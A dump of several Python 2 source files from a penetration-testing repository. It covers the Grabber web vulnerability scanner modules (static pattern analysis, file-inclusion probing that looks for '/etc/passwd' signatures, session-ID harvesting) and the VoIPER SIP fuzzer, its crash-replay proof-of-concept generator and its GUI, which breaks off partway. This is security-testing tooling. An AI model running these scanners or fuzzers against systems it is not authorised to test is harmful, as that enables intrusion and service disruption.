crystalDatabase file = None try: file = open(fileName, 'r') except IOError: print "Crystal: Cannot open the file [%s]" % fileName return False inZone, inLined = False, False detectPattern = False lineNumber = 0 shortName = fileName[fileName.rfind('analyzed') + 9 : ] vulnName = "" for l in file.readlines(): lineNumber += 1 l = l.replace('\n','') try: """ Check for the regular expression patterns if len(crystalRegExpPatterns) > 0: for modules in crystalRegExpPatterns: for regexp in crystalRegExpPatterns[modules]: if regexp.match() """ if len(vulnName) > 0 and (detectPattern and not inZone or inLined): # creating the nice structure # { 'index.php' : {'xss' : {'12', 'echo $_GET["plop"]'}}} if shortName not in crystalDatabase: crystalDatabase[shortName] = {} if vulnName not in crystalDatabase[shortName]: crystalDatabase[shortName][vulnName] = {} if str(lineNumber) not in crystalDatabase[shortName][vulnName]: crystalDatabase[shortName][vulnName][str(lineNumber)] = l detectPattern = False inLined = False vulnName = "" if l.count(crystalCheckStart) > 0 and not inZone: b1 = l.find(crystalCheckStart) inZone = True # same line for start and end ? if l.count(crystalCheckEnd) > 0: b2 = l.find(crystalCheckStart) if b1 < b2: inZone = False position = l.lower().find(pattern.lower()) if b1 < position and position < b2: detectPattern = True inLined = True elif inZone: # is there any pattern around the corner ? for modules in crystalPatterns: for p in crystalPatterns[modules]: p = p.lower() l = l.lower() # The folowing code is stupid! # I have to change the algorithm for the __AND__ parsing... if '__AND__' in p: listPatterns = p.split('__AND__') isIn = True for patton in listPatterns: if patton not in l: isIn = isIn and False if isIn: detectPattern = True vulnName = modules a=0 else: # test if the simple pattern is in the line if p in l: detectPattern = True vulnName = modules if l.count(crystalCheckEnd) > 0: inZone = False except UnicodeDecodeError: continue return True def buildDatabase(): """ Read the analzed files (indirectly with the crystalStorage.replace('current','analyzed') ) And look for the patterns """ listOut = [] for file in crystalStorage: fileOut = os.path.abspath(os.path.join('./', file.replace('current', 'analyzed'))) if not isPatternInFile(fileOut): print "Error with the file [%s]" % file def createStructure(): """ Create the structure in the ./local directory """ try: os.mkdir("local/crystal/") except OSError,e : a=0 try: os.mkdir("local/crystal/current") except OSError,e : a=0 try: os.mkdir("local/crystal/analyzed") except OSError,e : a=0 """ def realLineNumberReverse(fileName, codeStr): print fileName, codeStr try: fN = os.path.abspath(os.path.join('./local/crystal/current/', fileName)) file = open(fN, 'r') lineNumber = 0 for a in file.readlines(): lineNumber += 1 if codeStr in a: print a file.close() return lineNumber file.close() except IOError,e: print e return 0 return 0 """ def generateReport_1(): """ Create a first report like: * Developer report: # using XSLT... <site> <file name="index.php"> <vulnerability line="9">xss</vulnerability> <vulnerability line="25">sql</vulnerability> </file> ... </site> * Security report: <site> <vulnerability name="xss"> <file name="index.php" line="9" /> ... </vulnerabilty> <vulnerability name="sql"> <file name="index.php" line="25" /> </vulnerabilty> </site> """ plop = open('results/crystal_SecurityReport_Grabber.xml','w') plop.write("<crystal>\n") plop.write("<site>\n") plop.write("<!-- The line numbers are from the files in the 'analyzed' directory -->\n") for file in crystalDatabase: plop.write("\t<file name='%s'>\n" % file) for vuln in crystalDatabase[file]: for line in crystalDatabase[file][vuln]: # lineNumber = realLineNumberReverse(file,crystalDatabase[file][vuln][line]) localVuln = vuln if localVuln in vulnToDescritiveNames: localVuln = vulnToDescritiveNames[localVuln] plop.write("\t\t<vulnerability name='%s' line='%s' >%s</vulnerability>\n" % (localVuln, line, htmlencode(crystalDatabase[file][vuln][line]))) plop.write("\t</file>\n") plop.write("</site>\n") plop.write("</crystal>\n") plop.close() def buildUrlKey(file): fileName = file.replace('\\','/') # on windows... keyUrl = crystalUrl if keyUrl[len(keyUrl)-1] != '/' and fileName[0] != '/': keyUrl += '/' keyUrl += fileName return keyUrl reParamPOST = re.compile(r'(.*)\$_POST\[(.+)\](.*)',re.I) reParamGET = re.compile(r'(.*)\$_GET\[(.+)\](.*)' ,re.I) def getSimpleParamFromCode_GET(code): """ Using the regular expression above, try to get some parameters name """ params = [] # we can have multiple params... code = code.replace("'",''); code = code.replace('"',''); if code.lower().count('get') > 0: # try to match the $_GET if reParamGET.match(code): out = reParamGET.search(code) params.append(out.group(2)) params.append(getSimpleParamFromCode_GET(out.group(3))) params = flatten(params) return params def getSimpleParamFromCode_POST(code): """ Using the regular expression above, try to get some parameters name """ params = [] # we can have multiple params... code = code.replace("'",''); code = code.replace('"',''); if code.lower().count('post') > 0: # try to match the $_GET if reParamPOST.match(code): out = reParamPOST.search(code) params.append(out.group(2)) params.append(getSimpleParamFromCode_POST(out.group(3))) params = flatten(params) return params def createClassicalDatabase(vulnsType, localCrystalDB): """ From the crystalDatabase, generate the same database as in Spider This is generated for calling the differents modules ClassicalDB = { url : { 'GET' : { param : value } } } """ classicalDB = {} for file in localCrystalDB: # build the URL keyUrl = buildUrlKey(file) if keyUrl not in classicalDB: classicalDB[keyUrl] = {'GET' : {}, 'POST' : {}} for vuln in localCrystalDB[file]: # only get the kind of vulnerability we want if vuln != vulnsType: continue for line in localCrystalDB[file][vuln]: code = localCrystalDB[file][vuln][line] # try to extract some data... params_GET = getSimpleParamFromCode_GET (code) params_POST = getSimpleParamFromCode_POST(code) if len(params_GET) > 0: for p in params_GET: lG = classicalDB[keyUrl]['GET'] if p not in classicalDB[keyUrl]['GET']: lG = dict_add(lG,{p:''}) classicalDB[keyUrl]['GET'] = lG if len(params_POST) > 0: for p in params_POST: lP = classicalDB[keyUrl]['POST'] if p not in classicalDB[keyUrl]['POST']: lP = dict_add(lP,{p:''}) classicalDB[keyUrl]['POST'] = lP return classicalDB def retrieveVulnList(): vulnList = [] for file in crystalDatabase: for vuln in crystalDatabase[file]: if vuln not in vulnList: vulnList.append(vuln) return vulnList def process(urlGlobal, localDB, attack_list): """ Crystal Module entry point """ print "Crystal Module Start" try: f = open("crystal.conf.xml", 'r') f.close() except IOError: print "The crystal module needs the 'crystal.conf.xml' configuration file." sys.exit(1) parser = make_parser() crystal_handler = CrystalConfHandler() # Tell the parser to use our handler parser.setContentHandler(crystal_handler) try: parser.parse("crystal.conf.xml") except KeyError, e: print e sys.exit(1) #---------- White box testing createStructure() generateListOfFiles() buildDatabase() print "Build first report: List of vulneratilities and places in the code" generateReport_1() #---------- Start the Black Box testing # need to create a classical database like, so losing information # but for a type of vulnerability listVulns = retrieveVulnList() for vulns in listVulns: localDatabase = createClassicalDatabase(vulns, crystalDatabase) setDatabase(localDatabase) print "inProcess Crystal DB = ", localDatabase # print vulns, database # Call the Black Box Module print "Scan for ", vulns investigate(crystalUrl, vulns) print "Crystal Module Stop"
16,280
Python
.py
482
29.155602
146
0.677648
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,860
count.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/count.py
# return the loc of the files import os, sys, re count = 0 python = re.compile(r'(.*).py$') all = [f for f in os.listdir('./') if os.path.isfile(os.path.join('./', f)) and python.match(f)] for a in all: print a try: f = open(a, 'r') for l in f.readlines(): if len(l) > 0: count += 1 f.close() except IOError: print "Prout!" print "Lines of codes ", count
399
Python
.py
16
21.1875
97
0.597855
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,861
files.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/files.py
#!/usr/bin/env python """ File Inclusion Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys from grabber import getContent_POST, getContent_GET from grabber import getContentDirectURL_GET, getContentDirectURL_POST from grabber import single_urlencode severity = ["None", "Low", "Medium", "High"] def detect_file(output, url_get = "http://localhost/?param=false"): listWords = {"root:x:0:0" : 3, "[boot loader]" : 1, "<title>Google</title>" : 3 ,"java.io.FileNotFoundException:" : 1,"fread()" : 1,"include_path" : 1,"Failed opening required" : 1,"file(\"" : 1 ,"file_get_contents(\"" : 1} if "404" in output or "403" in output: # it probabably report an http error return 0 if "500" in output: return 1 for wrd in listWords: if output.count(wrd) > 0: return listWords[wrd] return 0 def generateOutput(url, gParam, instance,method,type, severityNum = 1): astr = "<file>\n\t<severity>%s</severity>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<parameter name='%s'>%s</parameter>\n\t<type name='Files Injection Type'>%s</type>" % (severity[severityNum],method,url,gParam,str(instance),type) if method in ("get","GET"): # print the real URL p = (url+"?"+gParam+"="+single_urlencode(str(instance))) astr += "\n\t<result>%s</result>" % p astr += "\n</file>\n" return astr def generateOutputLong(url, urlString ,method,type, severityNum, allParams = {}): astr = "<file>\n\t<severity>%s</severity>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<type name='Files Injection Type'>%s</type>" % (severity[severityNum], method,url,type) if method in ("get","GET"): # print the real URL p = (url+"?"+urlString) astr += "\n\t<result>%s</result>" % (p) else: astr += "\n\t<parameters>" for k in allParams: astr += "\n\t\t<parameter name='%s'>%s</parameter>" % (k, allParams[k]) astr += "\n\t</parameters>" astr += "\n</file>\n" return astr def permutations(L): if len(L) == 1: yield [L[0]] elif len(L) >= 2: (a, b) = (L[0:1], L[1:]) for p in permutations(b): for i in range(len(p)+1): yield b[:i] + a + b[i:] def process(url, database, attack_list): plop = open('results/files_GrabberAttacks.xml','w') plop.write("<filesAttacks>\n") for u in database.keys(): if len(database[u]['GET']): print "Method = GET ", u for gParam in database[u]['GET']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: handle = getContent_GET(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() k = detect_file(output) if k > 0: # generate the info... plop.write(generateOutput(u,gParam,instance,"GET",typeOfInjection, k)) # see the permutations if len(database[u]['GET'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: url = "" for gParam in database[u]['GET']: url += ("%s=%s&" % (gParam, single_urlencode(str(instance)))) handle = getContentDirectURL_GET(u,url) if handle != None: output = handle.read() k = detect_file(output) if k > 0: # generate the info... plop.write(generateOutputLong(u,url,"GET",typeOfInjection,k)) if len(database[u]['POST']): print "Method = POST ", u for gParam in database[u]['POST']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: handle = getContent_POST(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() k = detect_file(output) if k > 0: # generate the info... plop.write(generateOutput(u,gParam,instance,"POST",typeOfInjection,k)) # see the permutations if len(database[u]['POST'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: allParams = {} for gParam in database[u]['POST']: allParams[gParam] = str(instance) handle = getContentDirectURL_POST(u,allParams) if handle != None: output = handle.read() k = detect_file(output) if k > 0: # generate the info... plop.write(generateOutputLong(u,url,"POST",typeOfInjection,k,allParams)) plop.write("\n</filesAttacks>") plop.close() return ""
4,459
Python
.py
111
34.612613
234
0.632441
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,862
session.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/session.py
#!/usr/bin/env python """ Session Analyzer Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys,re,time,datetime from grabber import getContentDirectURL_GET sessions = {} def normalize_whitespace(text): return ' '.join(text.split()) def getDirectSessionID(currentURL, sid): k = currentURL.find(sid) if k > 0: return currentURL[k+10:] return None def stripNoneASCII(output): # should be somepthing to do that.. :/ newOutput = "" for s in output: try: s = s.encode() newOutput += s except UnicodeDecodeError: continue return newOutput regDate = re.compile(r'^Date: (.*)$', re.I) def lookAtSessionID(url, sidName, regSession): global sessions handle = getContentDirectURL_GET(url,"") if handle != None: output = handle.read() header = str(handle.info()).split('\n') for h in header: # extract date header information if regDate.match(h): out = regDate.search(h) date = out.group(1) # convert this date into the good GMT number # ie time in seconds since 01/01/1970 00:00:00 gi = time.strptime(normalize_whitespace(date.replace('GMT','')), "%a, %d %b %Y %H:%M:%S") gi = time.mktime(gi) - time.mktime(time.gmtime(0)) output = output.replace('\n','') output = output.replace('\t','') # print output[790:821] output = stripNoneASCII(output) if output.find(sidName) > 0: if regSession.match(output): out = regSession.search(output) ssn = out.group(2) if ssn != None: if gi != None: sessions[ssn] = gi else: sessions[ssn] = '' def process(url, database, sidName): regString = "(.*)" + sidName + "=([a-z|A-Z|0-9]+)(.*)" regSession = re.compile(regString,re.I) print url, sidName, regString for k in range(0,1000): lookAtSessionID(url, sidName, regSession) o = open('results/sessions.txt','w') for s in sessions: o.write("%s, %s\n" % (s, sessions[s])) o.close()
2,001
Python
.py
64
27.078125
94
0.656592
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,863
win_fuzzer_gui.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/win_fuzzer_gui.py
#!/usr/bin/env python #Boa:App:BoaApp ''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import wx from gui import frames modules ={u'gui/MainFrame': [1, 'Main frame of Application', 'gui/frames.py']} class BoaApp(wx.App): def OnInit(self): self.main = frames.create(None) self.main.Show() self.SetTopWindow(self.main) return True def main(): application = BoaApp(0) application.MainLoop() if __name__ == '__main__': main()
1,139
Python
.py
31
33.83871
78
0.749316
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,864
fuzzer.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/fuzzer.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import sys import os from optparse import OptionParser from fuzzer import fuzzers from protocol_logic.sip_utilities import SIPRegistrar from misc.config import parse_config CONFIG_FILE = 'voiper.config' opt_parser = OptionParser() ################################################################################ opt_parser.add_option('-l', action='store_true', dest='list_fuzzers',\ help='Display a list of available fuzzers or display help on a specific fuzzer \ if the -f option is also provided') opt_parser.add_option('-r', action='store_true', dest='registrar', \ help='If passed, listen on port 5060 for a register request before fuzzing. Used for\ fuzzing clients. To register with a server see voiper.config') opt_parser.add_option('-e', action='store_true', dest='register', \ help='If passed VoIPER will attempt to register with the target. If this option\ is used a file must be created in the current directory titled voiper.config to specify the\ registration details. See voiper.config.sample for an example of how this should be set up.') opt_parser.add_option('-f', '--fuzzer', dest='fuzzer_type', help='The type of \ fuzzer to use. For a list of valid fuzzers pass the -l flag') opt_parser.add_option('-i', '--host', dest='host', help='Host to fuzz') opt_parser.add_option('-p', '--port', dest='port', help='Port to connect to') #opt_parser.add_option('-x', '--proto', dest='proto', help='UDP or TCP') opt_parser.add_option('-c', '--crash', dest='crash_detection', help='Crash \ detection settings. 0 - Disabled, 1 - Crashes logged, 2 - Crashes logged and \ fuzzer paused, 3 - Use (nix/win)_process_monitor.py (recommended)') opt_parser.add_option('-P', '--rpcport', dest='rpc_port', default=26002,\ help='(Optional, def=26002)The port the remote process_monitor is running on. Only relevant\ with -c 4') opt_parser.add_option('-R','--restartinterval', dest='restart_interval', default=0,\ help='(Optional, def=0) How many test cases to send before the target is restarted. Only relevant \ with -c 3') opt_parser.add_option('-S', '--startcommand', dest='start_command', \ help='The command used on the system being tested to start the target. Only relevant\ with -c 3') opt_parser.add_option('-t', '--stopcommand', dest='stop_command', \ help='The command used on the system being tested to stop the target. Only relevant\ with -c 3. If omitted the target PID will be sent a SIGKILL on *nix and terminated \ via taskkill on Windows') opt_parser.add_option('-a', '--auditfolder', dest='audit_folder', \ help='The folder in sessions to store audit related information') opt_parser.add_option('-s', '--skip', dest='skip', default=0, \ help='(Optional, def=0)The number of tests to skip') opt_parser.add_option('-m', '--max_len', dest='max_len', default=8192, \ help='(Optional, def=8192)The maximum length of fuzz strings to be used.') ################################################################################ (options, args) = opt_parser.parse_args() if options.list_fuzzers: for cls in dir(fuzzers): if cls.find('Fuzzer') != -1 and cls.find('Abstract') == -1: if options.fuzzer_type and options.fuzzer_type == cls: print eval('fuzzers.' + options.fuzzer_type + '.info()') break elif not options.fuzzer_type: print cls sys.exit(0) if options.audit_folder == None or \ options.host == None or options.port == None or options.crash_detection == None: opt_parser.print_help() sys.exit(-1) crash_detection = int(options.crash_detection) if crash_detection == 3 and options.start_command == None: print '[!] Crash detection of 3 requires a start command specified via -S' opt_parser.print_help() sys.exit(-1) stop_command = options.stop_command if crash_detection == 3 and stop_command == None: stop_command = 'TERMINATE_PID' if not os.path.exists(options.audit_folder): print '[!] Path %s does not exist or we do not have sufficient permissions.' % options.audit_folder print '[+] Attempting to create %s' % options.audit_folder os.mkdir(options.audit_folder) if not os.path.exists(options.audit_folder): print '[!] Could not create directory %s. Please provide a different path' sys.exit(-1) else: print '[+] Successfully created %s' % options.audit_folder config_options = None try: config_options, err_line = parse_config(CONFIG_FILE) if config_options == None: print '[!] voiper.config has an error on line %d (indexed from 0)' % err_line sys.exit(-1) except IOError: print '[!] voiper.config does not exist or we do not have sufficient permissions to read it' sys.exit(-1) if options.registrar: sr = SIPRegistrar('0.0.0.0', 5060) print '[+] Waiting for register request' sr.waitForRegister() try: fuzzer = getattr(fuzzers, options.fuzzer_type) except: print '[!] Fuzzer name not recognised: %s' % options.fuzzer_type print '[!] Run %s -l for a list of valid fuzzer names' % sys.argv[0] else: f = fuzzer(options.audit_folder, "udp", options.host,\ int(options.port), crash_detection, skip=int(options.skip), \ start_command=options.start_command, stop_command=stop_command, \ procmon_port=int(options.rpc_port), restart_interval=int(options.restart_interval),\ max_len=int(options.max_len), config_options=config_options) f.fuzz() sys.exit(-1)
6,256
Python
.py
119
48.352941
104
0.690199
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,865
crash_replay.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/crash_replay.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import sys from optparse import OptionParser from misc.crash_replay_utilities import CrashFileReplay opt_parser = OptionParser() opt_parser.add_option('-i', '--host', dest='host', help='Host address to \ connect to') opt_parser.add_option('-p', '--port', dest='port', help='(Default=5060) \ Port to connect to', default='5060', type='int') opt_parser.add_option('-d', '--dir', dest='directory', help='Directory \ containing .crashlog files generated by fuzzer.py') opt_parser.add_option('-f', '--crash_file', dest='crash_file', help='Crash file to \ replay. Alternative to the -d option, not to be used at the same time') opt_parser.add_option('-c', '--timeout', dest='timeout', help='Send a CANCEL \ message for SIP INVITES. The value indicates the timeout to wait before sending it') opt_parser.add_option('-r', action='store_true', dest='create_poc',\ help='Create a standalone proof of concept script for the file indicated by the \ -f paramater') opt_parser.add_option('-o', dest='poc_file',\ help='The name of the POC file if the -r option is provided') (options, args) = opt_parser.parse_args() host = options.host port = options.port directory = options.directory crash_file = options.crash_file poc_file = options.poc_file if options.timeout: timeout = int(options.timeout) else: timeout = 0 # any validation of these paramaters can occur afterwards # All actions will need a CrashFileReplay instance cfr = CrashFileReplay(host, port, timeout) if options.create_poc and not (poc_file and crash_file): print '[!] The -r option requires the -o and -f options to have valid file names and the -f paramater to exist' sys.exit(-1) elif options.create_poc: cfr.create_poc(crash_file, poc_file) sys.exit(0) if host == None or port == None or (directory == None and crash_file == None): opt_parser.print_help() sys.exit(-1) if directory != None and crash_file != None: print '[!] The directory and crash file options are mutually exclusive. Pick one\ or the other' sys.exit(-1) if directory != None: cfr.parse_directory(directory) print '[+] Parsing files from ' + directory num_cf = len(cfr.crash_files) print '[+] Found ' + str(num_cf) + ' crash files' for ctr in range(num_cf): print str(ctr) + ' : ' + cfr.crash_files[ctr].name while True: input = raw_input('\n[+] Enter the number of the crash file you want to replay. Press q to quit\n') if input == 'q': sys.exit(0) else: input = int(input) fname = cfr.crash_files[input].name print '[+] Replaying ' + fname cfr.replay_num(input) print '[+] Sent' else: print '[+] Replaying ' + crash_file cfr.replay_name(crash_file) print '[+] Sent'
3,509
Python
.py
81
39.728395
119
0.709953
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,866
torturer.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/torturer.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import sys from optparse import OptionParser from torturer.replay import * opt_parser = OptionParser() opt_parser.add_option('-i', '--ip', dest='ip', help='IP address to \ connect to') opt_parser.add_option('-p', '--port', dest='port', help='(Default=5060) \ Port to connect to', default='5060') opt_parser.add_option('-d', '--dir', dest='directory',help='(Default=torturer/\ rfc4475_tests) The directory containing SIP test files', \ default='torturer/rfc4475_tests') opt_parser.add_option('-x', '--proto', dest='proto', help='(Default=udp) \ The protocol to use', default='udp') opt_parser.add_option('-t', '--type', dest='type', help='(Default=all) \ Type of SIP test messages to send. valid, invalid or all', default='all') opt_parser.add_option('-o', '--timeout', dest='timeout', help='(Default=3.0) \ Timeout to use on socket operations', default='3.0') opt_parser.add_option('-c', '--crash-detect', dest='crash_detection',\ help='(Default=1) Enable crash detection or not. 0 to disable', default='1') (options, args) = opt_parser.parse_args() if options.ip == None: opt_parser.print_help() sys.exit(-1) p = Parser(options.directory) messages = p.parse() dispatcher = Dispatcher(options.ip, int(options.port), messages, \ options.proto, float(options.timeout), bool(int(options.crash_detection))) dispatcher.dispatch(options.type)
2,068
Python
.py
43
46.534884
79
0.745283
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,867
frames.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/gui/frames.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' #Boa:Frame:MAINFRAME import wx import time import threading from fuzzer import fuzzers from fuzzer.fuzzers import * from protocol_logic.sip_utilities import SIPRegistrar def create(parent): return MainFrame(parent) [wxID_MAINFRAME, wxID_MAINFRAMECRASHDETECTIONSTATICBOX, wxID_MAINFRAMECTRLPANELSTATICBOX, wxID_MAINFRAMEDETECTEDCRASHESSTATICTXT, wxID_MAINFRAMEFUZZERCOMBOBOX, wxID_MAINFRAMEFUZZERCONFIGURATIONSTATICBOX, wxID_MAINFRAMEFUZZERSTATICTEXT, wxID_MAINFRAMELEVELCOMBOBOX, wxID_MAINFRAMELEVELSTATICTXT, wxID_MAINFRAMELOGSTATICBOX, wxID_MAINFRAMELOGTXTCTRL, wxID_MAINFRAMEOPTIONALSTATICBOX, wxID_MAINFRAMEPAUSEBUTTON, wxID_MAINFRAMEPEDRPCPORTTXTCTRL, wxID_MAINFRAMEPEDRPCSTATICTXT, wxID_MAINFRAMEPROGRESSGUAGE, wxID_MAINFRAMERESTARTINTERVALSTATICTEXT, wxID_MAINFRAMERESTARTINTERVALTXTCTRL, wxID_MAINFRAMESESSIONNAMESTATICTXT, wxID_MAINFRAMESESSIONNAMETXTCTRL, wxID_MAINFRAMESKIPSTATICTEXT, wxID_MAINFRAMESKIPTXTCTRL, wxID_MAINFRAMESTARTBUTTON, wxID_MAINFRAMESTARTCMDTXTCTRL, wxID_MAINFRAMESTATICLINE1, wxID_MAINFRAMESTATICTEXT1, wxID_MAINFRAMESTOPCMDSTATICTXT, wxID_MAINFRAMESTOPCMDTXTCTRL, wxID_MAINFRAMETARGETHOSTSTATICTEXT, wxID_MAINFRAMETARGETHOSTTXTCTRL, wxID_MAINFRAMETARGETPORTSTATICTEXT, wxID_MAINFRAMETARGETPORTTXTCTRL, wxID_MAINFRAMETARGETSELECTIONSTATICBOX, wxID_MAINFRAMETESTSSENTTXTCTRL, wxID_MAINFRAMEWFRCHECKBOX, wxID_MAINFRAMEWFRSTATICTEXT, wxID_MAINFRAMEMAXSTRINGTXTCTRL, wxID_MAINFRAMEMAXSTRINGSTATICTEXT, ] = [wx.NewId() for _init_ctrls in range(38)] VERSION = "v0.07" class MainFrame(wx.Frame): def _init_sizers(self): # generated method, don't edit self.mainGridSizer = wx.GridSizer(cols=2, hgap=10, rows=2, vgap=10) def _init_ctrls(self, prnt): # generated method, don't edit wx.Frame.__init__(self, id=wxID_MAINFRAME, name='', parent=prnt, pos=wx.Point(403, 115), size=wx.Size(561, 741), style=wx.DEFAULT_FRAME_STYLE, title='VoIPER : VoIP Exploit Research tookit ' + VERSION ) self.SetClientSize(wx.Size(553, 707)) self.SetBackgroundColour(wx.Colour(230, 230, 230)) self.targetHostTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMETARGETHOSTTXTCTRL, name='targetHostTxtCtrl', parent=self, pos=wx.Point(96, 32), size=wx.Size(100, 21), style=wx.TE_RIGHT, value='127.0.0.1') self.targetHostStaticText = wx.StaticText(id=wxID_MAINFRAMETARGETHOSTSTATICTEXT, label='Target host', name='targetHostStaticText', parent=self, pos=wx.Point(24, 32), size=wx.Size(56, 13), style=0) self.targetHostStaticText.SetToolTipString('Target host') self.targetPortStaticText = wx.StaticText(id=wxID_MAINFRAMETARGETPORTSTATICTEXT, label='Target port', name='targetPortStaticText', parent=self, pos=wx.Point(24, 72), size=wx.Size(55, 13), style=0) self.targetPortTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMETARGETPORTTXTCTRL, name='targetPortTxtCtrl', parent=self, pos=wx.Point(96, 72), size=wx.Size(100, 21), style=wx.TE_RIGHT, value='5060') self.targetSelectionStaticBox = wx.StaticBox(id=wxID_MAINFRAMETARGETSELECTIONSTATICBOX, label='Target Selection', name='targetSelectionStaticBox', parent=self, pos=wx.Point(8, 8), size=wx.Size(208, 96), style=0) self.fuzzerConfigurationStaticBox = wx.StaticBox(id=wxID_MAINFRAMEFUZZERCONFIGURATIONSTATICBOX, label='Fuzzer Configuration', name='fuzzerConfigurationStaticBox', parent=self, pos=wx.Point(296, 8), size=wx.Size(248, 96), style=0) self.fuzzerComboBox = wx.ComboBox(choices=self.fuzzer_list, id=wxID_MAINFRAMEFUZZERCOMBOBOX, name='fuzzerComboBox', parent=self, pos=wx.Point(400, 32), size=wx.Size(130, 21), style=wx.CB_READONLY, value='Select a fuzzer') self.fuzzerComboBox.SetLabel('') self.fuzzerComboBox.Bind(wx.EVT_COMBOBOX, self.OnFuzzerComboBoxCombobox, id=wxID_MAINFRAMEFUZZERCOMBOBOX) self.fuzzerStaticText = wx.StaticText(id=wxID_MAINFRAMEFUZZERSTATICTEXT, label='Fuzzer', name='fuzzerStaticText', parent=self, pos=wx.Point(312, 32), size=wx.Size(32, 13), style=0) self.sessionNameStaticTxt = wx.StaticText(id=wxID_MAINFRAMESESSIONNAMESTATICTXT, label='Session Name', name='sessionNameStaticTxt', parent=self, pos=wx.Point(312, 72), size=wx.Size(66, 13), style=0) self.sessionNameTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMESESSIONNAMETXTCTRL, name='sessionNameTxtCtrl', parent=self, pos=wx.Point(400, 72), size=wx.Size(128, 21), style=0, value='Audit folder in sessions/') self.crashDetectionStaticBox = wx.StaticBox(id=wxID_MAINFRAMECRASHDETECTIONSTATICBOX, label='Crash Detection/Target Management', name='crashDetectionStaticBox', parent=self, pos=wx.Point(8, 128), size=wx.Size(208, 184), style=0) self.levelStaticTxt = wx.StaticText(id=wxID_MAINFRAMELEVELSTATICTXT, label='Level', name='levelStaticTxt', parent=self, pos=wx.Point(24, 152), size=wx.Size(25, 13), style=0) self.levelComboBox = wx.ComboBox(choices=['0', '1', '2', '3'], id=wxID_MAINFRAMELEVELCOMBOBOX, name='levelComboBox', parent=self, pos=wx.Point(144, 152), size=wx.Size(50, 21), style=wx.CB_READONLY, value='0') self.levelComboBox.SetLabel('0') self.levelComboBox.Bind(wx.EVT_COMBOBOX, self.OnLevelComboBoxCombobox, id=wxID_MAINFRAMELEVELCOMBOBOX) self.pedRPCStaticTxt = 